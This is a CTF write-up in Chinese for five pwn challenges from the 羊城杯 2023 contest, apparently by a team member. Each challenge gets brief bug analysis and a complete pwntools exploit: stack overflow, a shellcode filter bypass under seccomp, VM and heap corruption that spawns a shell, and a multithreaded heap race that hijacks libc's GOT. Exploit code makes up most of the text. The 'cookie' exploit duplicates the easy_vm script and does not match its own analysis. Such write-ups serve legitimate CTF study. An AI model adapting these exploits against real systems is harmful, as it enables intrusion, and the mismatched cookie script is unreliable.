羊城杯 2023 pwn方向wp
羊城杯 2023 pwn方向wp
解题情况
本人水平有限,在队友的努力下我们队才堪堪ak了pwn题。
下图是比赛中的截图,我们应该是前四名ak掉pwn的(因为最后一题我是第四个做出来的)
login
分析
risc架构的题,类似于arm,函数返回地址存于ra寄存器中。ra寄存器在函数调用另一个函数时会暂存于栈上。利用栈溢出漏洞覆盖即可。
ricv架构的题目的调试仍待学习。
EXP
from pwn import *
context.terminal=['tmux','splitw','-h']
#context.arch='amd64'
context.log_level='debug'
ELFpath='/home/wjc/Desktop/pwn'
#libcpath='/home/wjc/glibc-all-in-one-master/libs/2.32-0ubuntu3.2_amd64/libc-2.32.so'
#p=process(ELFpath)
#p=gdb.debug(ELFpath,"b*$rebase(0x2770)")
p=remote('tcp.cloud.dasctf.com',26427)
e=ELF(ELFpath)
#libc=ELF(libcpath)
rut=lambda s :p.recvuntil(s,timeout=0.5)
ru=lambda s :p.recvuntil(s)
r=lambda n :p.recv(n)
sl=lambda s :p.sendline(s)
sls=lambda s :p.sendline(str(s))
ss=lambda s :p.send(str(s))
s=lambda s :p.send(s)
uu64=lambda data :u64(data.ljust(8,'\x00'))
it=lambda :p.interactive()
b=lambda :gdb.attach(p)
bp=lambda bkp:gdb.attach(p,'b *'+str(bkp))
get_leaked_libc = lambda :u64(ru('\x7f')[-6:].ljust(8,'\x00'))
get_addr_num = lambda :int(r(12),16)
LOGTOOL={}
def LOGALL():
log.success("**** all result ****")
for i in LOGTOOL.items():
log.success("%-20s%s"%(i[0]+":",hex(i[1])))
def get_base(a, text_name):
text_addr = 0
libc_base = 0
for name, addr in a.libs().items():
if text_name in name:
text_addr = addr
elif "libc" in name:
libc_base = addr
return text_addr, libc_base
def debug():
global p
text_base, libc_base = get_base(p, 'textsender')
script = '''
set $text_base = {}
set $libc_base = {}
b*$rebase(0x14F2)
'''.format(text_base, libc_base)
# b*$rebase(0x124f)
#b*$rebase(0x1220)
# b*$rebase(0x887b)
gdb.attach(p, script)
def ptrxor(pos,ptr):
return p64((pos >> 12) ^ ptr)
#debug()
ru('Input ur name:')
sl('/bin/sh')
ru('Input ur words')
pay='a'*0x100+p64(0x12345770)
s(pay)
it()
shellcode
分析
漏洞点在于这题一开始在提示输入yes/no的部分检查存在逻辑问题。正确的逻辑应该是针对 ye/no/其他输入 这三种情况依次进行分支处理,这里混淆了后两种情况,因此输入syscall对应的机器码也能进入shellcode分支。
允许通过的指令只有一堆pop和push,但是由于有syscall被放到了RWX的栈上,且有pop rsp,我们可以利用栈上数据将rsp降低到输入到栈上的syscall,将其pop到别的寄存器中,再升栈将syscall指令push到我们送进去的shellcode后面,从而执行read_sys。
寄存器的布置需要精心处理。
注意这题开了沙箱,read和write这两个系统调用的fd参数有一些要求,相关要求可以用seccomp-tools看到,但是这个工具必须要跑到后面开沙箱的时候才能看到。我们需要先写好shellcode过前面的检测。因此建议大家用python脚本配合seccomp-tools来分析开启的沙箱保护。
# python3 tools.py
import subprocess
command = "seccomp-tools dump '/home/wjc/Desktop/shellcode'"
process = subprocess.Popen(command,
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=True,
shell=True)
command_input = "\x0f\x05"
process.stdin.write(command_input)
process.stdin.flush()
# 这里是shellcode,是从exp里扒出来的
command_input = "]]]^^U\\Z_XV\\]R[[\n"
process.stdin.write(command_input)
command_output, command_error = process.communicate()
print("Command Output:")
print(command_output)
print("\nCommand Error:")
print(command_error)
process.stdin.close()
process.stdout.close()
process.stderr.close()
得到沙箱开启情况为:
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x12 0xc000003e if (A != ARCH_X86_64) goto 0020
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x0f 0xffffffff if (A != 0xffffffff) goto 0020
0005: 0x15 0x0d 0x00 0x00000002 if (A == open) goto 0019
0006: 0x15 0x0c 0x00 0x00000021 if (A == dup2) goto 0019
0007: 0x15 0x00 0x05 0x00000000 if (A != read) goto 0013
0008: 0x20 0x00 0x00 0x00000014 A = fd >> 32 # read(fd, buf, count)
0009: 0x25 0x0a 0x00 0x00000000 if (A > 0x0) goto 0020
0010: 0x15 0x00 0x08 0x00000000 if (A != 0x0) goto 0019
0011: 0x20 0x00 0x00 0x00000010 A = fd # read(fd, buf, count)
0012: 0x25 0x07 0x06 0x00000002 if (A > 0x2) goto 0020 else goto 0019
0013: 0x15 0x00 0x06 0x00000001 if (A != write) goto 0020
0014: 0x20 0x00 0x00 0x00000014 A = fd >> 32 # write(fd, buf, count)
0015: 0x25 0x03 0x00 0x00000000 if (A > 0x0) goto 0019
0016: 0x15 0x00 0x03 0x00000000 if (A != 0x0) goto 0020
0017: 0x20 0x00 0x00 0x00000010 A = fd # write(fd, buf, count)
0018: 0x25 0x00 0x01 0x00000002 if (A <= 0x2) goto 0020
0019: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0020: 0x06 0x00 0x00 0x00000000 return KILL
read只能用0号描述符,write只能用3号描述符,用放出来的dup2系统调用去处理就好。
EXP
from pwn import *
context.terminal=['tmux','splitw','-h']
context.arch='amd64'
context.log_level='debug'
ELFpath='/home/wjc/Desktop/shellcode'
#libcpath='/home/wjc/glibc-all-in-one-master/libs/2.32-0ubuntu3.2_amd64/libc-2.32.so'
#p=process(ELFpath)
#p=gdb.debug(ELFpath,"b*$rebase(0x2770)")
p=remote('tcp.cloud.dasctf.com',24080)
e=ELF(ELFpath)
#libc=ELF(libcpath)
rut=lambda s :p.recvuntil(s,timeout=0.5)
ru=lambda s :p.recvuntil(s)
r=lambda n :p.recv(n)
sl=lambda s :p.sendline(s)
sls=lambda s :p.sendline(str(s))
ss=lambda s :p.send(str(s))
s=lambda s :p.send(s)
uu64=lambda data :u64(data.ljust(8,'\x00'))
it=lambda :p.interactive()
b=lambda :gdb.attach(p)
bp=lambda bkp:gdb.attach(p,'b *'+str(bkp))
get_leaked_libc = lambda :u64(ru('\x7f')[-6:].ljust(8,'\x00'))
get_addr_num = lambda :int(r(12),16)
LOGTOOL={}
def LOGALL():
log.success("**** all result ****")
for i in LOGTOOL.items():
log.success("%-20s%s"%(i[0]+":",hex(i[1])))
def get_base(a, text_name):
text_addr = 0
libc_base = 0
for name, addr in a.libs().items():
if text_name in name:
text_addr = addr
elif "libc" in name:
libc_base = addr
return text_addr, libc_base
def debug():
global p
text_base, libc_base = get_base(p, 'textsender')
script = '''
set $text_base = {}
set $libc_base = {}
b*$rebase(0x14F2)
'''.format(text_base, libc_base)
# b*$rebase(0x124f)
#b*$rebase(0x1220)
# b*$rebase(0x887b)
gdb.attach(p, script)
def ptrxor(pos,ptr):
return p64((pos >> 12) ^ ptr)
#debug()
ru('[2] Input: (ye / no)')
s(asm('syscall'))
ru('[5] ======== Input Your P0P Code ========')
pay=''
pay+=asm('pop rbp')
pay+=asm('pop rbp')
pay+=asm('pop rbp')
pay+=asm('pop rsi')
pay+=asm('pop rsi')
pay+=asm('push rbp')
pay+=asm('pop rsp')
pay+=asm('pop rdx') #syscall
pay+=asm('pop rdi')
pay+=asm('pop rax')
pay+=asm('push rsi')
pay+=asm('pop rsp')
pay+=asm('pop rbp')
pay+=asm('push rdx')
pay=pay.ljust(0x10,asm('pop rbx'))
sl(pay)
pause()
pay2=asm('nop')*0x10
pay2+=asm(shellcraft.open('/flag',0))
pay2+=asm(shellcraft.dup2(3,0))
pay2+=asm(shellcraft.read(0,'r8',0x30))
pay2+=asm(shellcraft.dup2(1,3))
pay2+=asm(shellcraft.write(3,'r8',0x30))
sl(pay2)
it()
easy_vm
分析
利用堆块残留指针获得libc地址,之后直接穿透libc去打exit hook就行了。
EXP
from pwn import *
context.terminal=['tmux','splitw','-h']
context.arch='amd64'
context.log_level='debug'
ELFpath='/home/wjc/Desktop/pwn'
libcpath='/home/wjc/glibc-all-in-one-master/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so'
#p=process(ELFpath)
#p=gdb.debug(ELFpath,"b*$rebase(0x2770)")
p=remote('tcp.cloud.dasctf.com',25585)
e=ELF(ELFpath)
libc=ELF(libcpath)
rut=lambda s :p.recvuntil(s,timeout=0.5)
ru=lambda s :p.recvuntil(s)
r=lambda n :p.recv(n)
sl=lambda s :p.sendline(s)
sls=lambda s :p.sendline(str(s))
ss=lambda s :p.send(str(s))
s=lambda s :p.send(s)
uu64=lambda data :u64(data.ljust(8,'\x00'))
it=lambda :p.interactive()
b=lambda :gdb.attach(p)
bp=lambda bkp:gdb.attach(p,'b *'+str(bkp))
get_leaked_libc = lambda :u64(ru('\x7f')[-6:].ljust(8,'\x00'))
get_addr_num = lambda :int(r(12),16)
LOGTOOL={}
def LOGALL():
log.success("**** all result ****")
for i in LOGTOOL.items():
log.success("%-20s%s"%(i[0]+":",hex(i[1])))
def get_base(a, text_name):
text_addr = 0
libc_base = 0
for name, addr in a.libs().items():
if text_name in name:
text_addr = addr
elif "libc" in name:
libc_base = addr
return text_addr, libc_base
def debug():
global p
text_base, libc_base = get_base(p, 'textsender')
script = '''
set $text_base = {}
set $libc_base = {}
set $reg_rsp=$rebase(0x201040)
set $reg_rax=$rebase(0x201038)
set $reg_rip=$rebase(0x201048)
b*$rebase(0x92e)
'''.format(text_base, libc_base)
# b*$rebase(0x124f)
#b*$rebase(0x1220)
# b*$rebase(0x887b)
gdb.attach(p, script)
def ptrxor(pos,ptr):
return p64((pos >> 12) ^ ptr)
def push():
return p64(1)
def pop():
return p64(2)
def point():
return p64(3)
def xor(imm):
return p64(4)+p64(imm)
def value():
return p64(5);
def add(imm):
return p64(6)+p64(imm)
def sub(imm):
return p64(7)+p64(imm)
def stop():
return p64(8);
#debug()
ru('Inputs your code:')
ogg_off=0xf1147
code=''
code+=pop()+sub(0x3c4b78) #libcbase
code+=add(ogg_off) #onegadget
code+=push()
code+=sub(ogg_off) #libcbase
code+=add(0x5f0f48) #exit_hook
code+=point()
code+=sub(0)
sl(code)
it()
cookie
分析
musl堆,存在一个UAF漏洞。关于edit受到sizelist被置零的限制问题,可以参考我以前的这篇文章:tcache七星剑法:残月 ——深入理解UAF本质
1.1.24版本的musl对于堆块的管理类似于glibc的双向链表机制,其中取堆块采用的是一个类似于glibc的古老unlink操作,没有任何安全检查。同时这个版本musl内的堆块内有libc或者elf残留地址,很容易把基址给泄露出来。
综上所述,我们直接利用UAF控制指针触发unlink后控制heaplist,去泄露environ拿到栈地址,之后铺rop链子就行。注意edit来写heaplist中指针的时候,要注意size_list有没有size,为0是写不进去的。
EXP
from pwn import *
context.terminal=['tmux','splitw','-h']
context.arch='amd64'
context.log_level='debug'
ELFpath='/home/wjc/Desktop/pwn'
libcpath='/home/wjc/glibc-all-in-one-master/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so'
#p=process(ELFpath)
#p=gdb.debug(ELFpath,"b*$rebase(0x2770)")
p=remote('tcp.cloud.dasctf.com',25585)
e=ELF(ELFpath)
libc=ELF(libcpath)
rut=lambda s :p.recvuntil(s,timeout=0.5)
ru=lambda s :p.recvuntil(s)
r=lambda n :p.recv(n)
sl=lambda s :p.sendline(s)
sls=lambda s :p.sendline(str(s))
ss=lambda s :p.send(str(s))
s=lambda s :p.send(s)
uu64=lambda data :u64(data.ljust(8,'\x00'))
it=lambda :p.interactive()
b=lambda :gdb.attach(p)
bp=lambda bkp:gdb.attach(p,'b *'+str(bkp))
get_leaked_libc = lambda :u64(ru('\x7f')[-6:].ljust(8,'\x00'))
get_addr_num = lambda :int(r(12),16)
LOGTOOL={}
def LOGALL():
log.success("**** all result ****")
for i in LOGTOOL.items():
log.success("%-20s%s"%(i[0]+":",hex(i[1])))
def get_base(a, text_name):
text_addr = 0
libc_base = 0
for name, addr in a.libs().items():
if text_name in name:
text_addr = addr
elif "libc" in name:
libc_base = addr
return text_addr, libc_base
def debug():
global p
text_base, libc_base = get_base(p, 'textsender')
script = '''
set $text_base = {}
set $libc_base = {}
set $reg_rsp=$rebase(0x201040)
set $reg_rax=$rebase(0x201038)
set $reg_rip=$rebase(0x201048)
b*$rebase(0x92e)
'''.format(text_base, libc_base)
# b*$rebase(0x124f)
#b*$rebase(0x1220)
# b*$rebase(0x887b)
gdb.attach(p, script)
def ptrxor(pos,ptr):
return p64((pos >> 12) ^ ptr)
def push():
return p64(1)
def pop():
return p64(2)
def point():
return p64(3)
def xor(imm):
return p64(4)+p64(imm)
def value():
return p64(5);
def add(imm):
return p64(6)+p64(imm)
def sub(imm):
return p64(7)+p64(imm)
def stop():
return p64(8);
#debug()
ru('Inputs your code:')
ogg_off=0xf1147
code=''
code+=pop()+sub(0x3c4b78) #libcbase
code+=add(ogg_off) #onegadget
code+=push()
code+=sub(ogg_off) #libcbase
code+=add(0x5f0f48) #exit_hook
code+=point()
code+=sub(0)
sl(code)
it()
heap
分析
多线程堆题,edit功能的sleep(1u)存在条件竞争漏洞,线程睡眠期间这个下标若被释放再重新申请,由于sleep之前读取了size,若新堆块size较小,则可能出现溢出问题。
子线程的堆段比较靠近libc,且基址的后三个字节都是0。利用堆溢出泄露地址时需要注意。同时,由于这题是“捆绑销售”式的堆题,有属性堆块和内容堆块这两种不同的堆块,所以溢出的时候注意不要把这个溢出堆块的信息块给覆写了,否则show去泄露堆地址时是找不到这个堆块的。
子线程的堆段里有main_arena,可以故技重施,覆写属性堆块内存放的内容堆块指针,指向存放main_arena的地址泄露libc地址。
strncpy操作比较特殊,覆写长度取决于n而非src的长度,不足的长度会被\x00补齐,所以申请堆块的时候size填多少要好好斟酌。
每次操作之后小sleep一下,edit和其条件竞争行为之后要sleep一秒以上,防止线程打架。
最后如上去打strtok的libcgot就行。
EXP
from pwn import *
context.terminal=['tmux','splitw','-h']
context.arch='amd64'
context.log_level='debug'
ELFpath='/home/wjc/Desktop/heap'
libcpath='/home/wjc/glibc-all-in-one-master/libs/2.35-0ubuntu3.1_amd64/libc.so.6'
p=process(ELFpath)
#p=gdb.debug(ELFpath,"b*$rebase(0x2770)")
#p=remote('tcp.cloud.dasctf.com',24080)
e=ELF(ELFpath)
libc=ELF(libcpath)
rut=lambda s :p.recvuntil(s,timeout=0.5)
ru=lambda s :p.recvuntil(s)
r=lambda n :p.recv(n)
sl=lambda s :p.sendline(s)
sls=lambda s :p.sendline(str(s))
ss=lambda s :p.send(str(s))
s=lambda s :p.send(s)
uu64=lambda data :u64(data.ljust(8,'\x00'))
it=lambda :p.interactive()
b=lambda :gdb.attach(p)
bp=lambda bkp:gdb.attach(p,'b *'+str(bkp))
get_leaked_libc = lambda :u64(ru('\x7f')[-6:].ljust(8,'\x00'))
get_addr_num = lambda :int(r(12),16)
LOGTOOL={}
def LOGALL():
log.success("**** all result ****")
for i in LOGTOOL.items():
log.success("%-20s%s"%(i[0]+":",hex(i[1])))
def get_base(a, text_name):
text_addr = 0
libc_base = 0
for name, addr in a.libs().items():
if text_name in name:
text_addr = addr
elif "libc" in name:
libc_base = addr
return text_addr, libc_base
def debug():
global p
text_base, libc_base = get_base(p, 'textsender')
script = '''
set $text_base = {}
set $libc_base = {}
b*$rebase(0x14f8)
b*$rebase(0x1823)
'''.format(text_base, libc_base)
# b*$rebase(0x124f)
#b*$rebase(0x1220)
# b*$rebase(0x887b)
gdb.attach(p, script)
def ptrxor(pos,ptr):
return p64((pos >> 12) ^ ptr)
def add(content):
ru('chocie:\n')
sl('1 '+content)
def show(idx):
ru('chocie:\n')
sl('2 '+str(idx))
def edit(idx,content):
ru('chocie:\n')
sl('3 '+str(idx)+':'+content)
def dele(idx):
ru('chocie:\n')
sl('4 '+str(idx))
# for i in range(9):
# add(0x58*chr(0x61+i))
# for i in range(8):
# dele(i)
# debug()
# dele(8)
add('a'*0x58) #0
sleep(0.1)
add('t'*0x58) #1
sleep(0.1)
add('b'*0x68) #2
sleep(0.1)
add('a'*0x58) #3
sleep(0.1)
add('t'*0x58) #4
sleep(0.1)
add('b'*0x62) #5
sleep(0.1)
add('a'*0x58) #6
sleep(0.1)
add('t'*0x58) #7
sleep(0.1)
add('b'*0x63) #8
sleep(0.1)
add('\x66'*0x60) #10 content
dele(0)
sleep(0.1)
dele(2)
sleep(0.1)
add('B'*0x68) #0 behind
sleep(0.1)
add('A'*0x58) #2 front
sleep(0.1)
dele(3)
sleep(0.1)
dele(5)
sleep(0.1)
add('B'*0x62) #3 behind
sleep(0.1)
add('A'*0x58) #5 front
sleep(0.1)
dele(6)
sleep(0.1)
dele(8)
sleep(0.1)
add('B'*0x63) #6 behind
sleep(0.1)
add('A'*0x58) #8 front
sleep(0.1)
######################## leak heapbase ########################
#dele(7)
#sleep(0.1)
dele(8)
sleep(0.1)
edit(6,'\x20'*0x63)
sleep(0.1)
dele(6)
sleep(0.1)
add('x'*0x58) #0
sleep(2)
show(6)
heapbase=u64(ru('\x7f')[-3:].ljust(8,'\x00'))*0x1000000
LOGTOOL['heapbase']=heapbase
######################## leak libcbase ########################
main_arena_value_addr=heapbase+0x8a0
sl('hahaha')
#5 0x58
#4 0x58
#3 0x62
dele(5)
sleep(0.1)
edit(3,'X'*0x60+p16(0x8a0))
sleep(0.1)
dele(3)
sleep(0.1)
add('x'*0x58) #3
sleep(2)
show(4)
libcbase=u64(ru('\x7f')[-6:].ljust(8,'\x00'))-0x219c80
LOGTOOL['libcbase']=libcbase
######################## attack libcgot ########################
sl('hahaha')
strtok_libcgot=libcbase+0x219058
system_addr=libcbase+libc.symbols['system']
puts_libcgot_value=libcbase+0x1b2220
LOGTOOL['strtok_libcgot']=strtok_libcgot
LOGTOOL['system_addr']=system_addr
#2 0x58
#1 0x58
#0 0x62
dele(2)
sleep(0.1)
edit(0,'X'*0x60+p64(strtok_libcgot-0x50))
sleep(0.1)
dele(0)
sleep(0.1)
add('x'*0x58) #3
sleep(2)
sl('hahaha')
edit(1,0x50*'a'+p64(system_addr))
sleep(2)
ru('chocie:\n')
sl('/bin/sh')
# LOGALL()
# #pause()
# debug()
it()